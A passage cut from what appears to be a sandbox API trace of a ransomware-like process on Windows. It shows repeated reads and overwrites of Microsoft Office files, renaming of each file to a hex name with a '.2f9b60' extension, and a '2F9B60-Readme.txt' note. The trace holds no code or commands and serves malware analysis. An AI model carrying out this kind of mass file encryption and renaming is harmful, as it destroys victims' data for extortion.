Seed=0x3b77f830) returned 0x7ef4c484 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x69f2b328 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0xcef66e5 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x5cfa21e6 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x340ac2b6 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x5dab67cf [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x75057998 [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x22b100c [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x2857626e [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x3e57756a [0142.493] RtlRandomEx (in: Seed=0x3b77f830 | out: Seed=0x3b77f830) returned 0x7f71d613 [0142.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0142.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0142.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0142.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0142.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff610) returned 1 [0142.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0142.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0142.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203abd40 [0142.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203af950 [0142.502] ReadFile (in: hFile=0x1ed8, lpBuffer=0x203abd40, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x3b77f830, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesRead=0x3b77f830*=0x309, lpOverlapped=0x0) returned 1 [0142.502] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.502] WriteFile (in: hFile=0x1ed8, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x309, lpNumberOfBytesWritten=0x3b77f834, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x3b77f834*=0x309, lpOverlapped=0x0) returned 1 [0143.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0143.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0143.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ab0) returned 1 [0143.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0143.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0143.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0143.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0143.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262ab0 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0143.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202620c0 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0143.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0143.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0143.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0143.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0143.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169b30 [0143.411] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.411] WriteFile (in: hFile=0x1ed8, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3b77f950, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x3b77f950*=0x106, lpOverlapped=0x0) returned 1 [0143.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0143.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0143.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0143.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0143.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0143.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.664] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="4f") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="1f") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="f6") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="82") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="85") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="54") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="94") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="dc") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="0e") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="5c") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="10") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="59") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="c6") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="78") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="d9") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="e7") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="6a") returned 2 [0143.664] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="08") returned 2 [0143.665] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="49") returned 2 [0143.665] RtlInitAnsiString (in: DestinationString=0x3b77f9c8, SourceString="4f1f0cf682855494dc0e5c1059c678d9e76a0849" | out: DestinationString="4f1f0cf682855494dc0e5c1059c678d9e76a0849") [0143.665] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b77f998, SourceString="4f1f0cf682855494dc0e5c1059c678d9e76a0849", AllocateDestinationString=1 | out: DestinationString="4f1f0cf682855494dc0e5c1059c678d9e76a0849") returned 0x0 [0143.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd868b0 [0143.665] RtlFreeAnsiString (AnsiString="4") [0143.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169b30) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ab0) returned 1 [0143.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261130) returned 1 [0143.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0143.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0143.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0143.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20506e50 [0143.667] wcscat (in: _Dest=0x20506e50, _Source="4f1f0cf682" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682" [0143.667] wcscat (in: _Dest=0x20506e50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682.2f9b60" [0143.667] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682.2f9b60", NtPathName=0x3b77f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\4f1f0cf682.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce22920 [0143.668] NtSetInformationFile (FileHandle=0x1ed8, IoStatusBlock=0x3b77fa10, FileInformation=0x1ce22920, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22920) returned 1 [0143.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0143.855] NtQueryInformationFile (in: FileHandle=0x1ed8, IoStatusBlock=0x3b77f9d8, FileInformation=0x3b77f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b77f9d8, FileInformation=0x3b77f9e8) returned 0x0 [0143.855] NtSetInformationFile (FileHandle=0x1ed8, IoStatusBlock=0x3b77f9d8, FileInformation=0x3b77f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506e50) returned 1 [0143.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd868b0) returned 1 [0143.863] FlushFileBuffers (hFile=0x1ed8) returned 1 [0143.892] CloseHandle (hObject=0x1ed8) returned 1 [0143.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.893] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.893] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ac30) returned 1 Thread: id = 2205 os_tid = 0x1680 [0140.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 0x20 [0140.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG", dwFileAttributes=0x20) returned 1 [0140.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ecc [0142.489] GetFileSizeEx (in: hFile=0x1ecc, lpFileSize=0x3c11f8c0 | out: lpFileSize=0x3c11f8c0*=808) returned 1 [0142.489] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.489] ReadFile (in: hFile=0x1ecc, lpBuffer=0x3c11f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c11f888, lpOverlapped=0x0 | out: lpBuffer=0x3c11f840*, lpNumberOfBytesRead=0x3c11f888*=0x4, lpOverlapped=0x0) returned 1 [0142.505] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff610 [0142.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0142.506] NtQuerySystemTime (in: CurrentTime=0x3c11f780 | out: CurrentTime=0x3c11f780*=132462177477550000) returned 0x0 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x39c668ac [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x2c39af6 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x5c020c63 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x27d3f66f [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x54aef9e3 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x42fb9762 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x7651c6a5 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x296b0867 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x89add7 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x1885f977 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x3bafb8a8 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x22fc1922 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x3ff859e2 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x4fff1f63 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x30f3d4a3 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0xb44fea5 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x4e8ae03c [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x6adbec98 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x40a3bce2 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x1aede984 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0xe674166 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x7afdf5bd [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x90a4415 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x3fcd8122 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x3cbeb809 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x4c12f54a [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x70d385e8 [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x11d003ef [0142.506] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x76699d8a [0142.507] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x49cd6980 [0142.507] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x52cd2cb8 [0142.507] RtlRandomEx (in: Seed=0x3c11f770 | out: Seed=0x3c11f770) returned 0x54b6767 [0142.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0142.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0142.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0142.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0142.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0142.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0142.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0142.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203b3560 [0142.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203b7170 [0142.516] ReadFile (in: hFile=0x1ecc, lpBuffer=0x203b3560, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x3c11f770, lpOverlapped=0x0 | out: lpBuffer=0x203b3560*, lpNumberOfBytesRead=0x3c11f770*=0x328, lpOverlapped=0x0) returned 1 [0142.516] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.516] WriteFile (in: hFile=0x1ecc, lpBuffer=0x203b7170*, nNumberOfBytesToWrite=0x328, lpNumberOfBytesWritten=0x3c11f774, lpOverlapped=0x0 | out: lpBuffer=0x203b7170*, lpNumberOfBytesWritten=0x3c11f774*=0x328, lpOverlapped=0x0) returned 1 [0143.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0143.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0143.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0143.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b7170) returned 1 [0143.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203b3560) returned 1 [0143.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263b30 [0143.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0143.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0143.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0143.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0143.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202617c0 [0143.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0143.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0143.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0143.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169d50 [0143.415] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.415] WriteFile (in: hFile=0x1ecc, lpBuffer=0x169d50*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c11f890, lpOverlapped=0x0 | out: lpBuffer=0x169d50*, lpNumberOfBytesWritten=0x3c11f890*=0x106, lpOverlapped=0x0) returned 1 [0143.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0143.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0143.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0143.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0143.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0143.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.670] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="38") returned 2 [0143.670] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="0a") returned 2 [0143.670] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="e5") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="7f") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="b2") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="1e") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="ea") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="19") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="d5") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="22") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="a2") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="8e") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="3c") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="fb") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="63") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="52") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="12") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="b6") returned 2 [0143.671] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="67") returned 2 [0143.671] RtlInitAnsiString (in: DestinationString=0x3c11f908, SourceString="380ae57fb21eea19d522a28e3cacfb635212b667" | out: DestinationString="380ae57fb21eea19d522a28e3cacfb635212b667") [0143.671] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c11f8d8, SourceString="380ae57fb21eea19d522a28e3cacfb635212b667", AllocateDestinationString=1 | out: DestinationString="380ae57fb21eea19d522a28e3cacfb635212b667") returned 0x0 [0143.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86eb0 [0143.672] RtlFreeAnsiString (AnsiString="3") [0143.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0143.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169d50) returned 1 [0143.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0143.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0143.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0143.673] 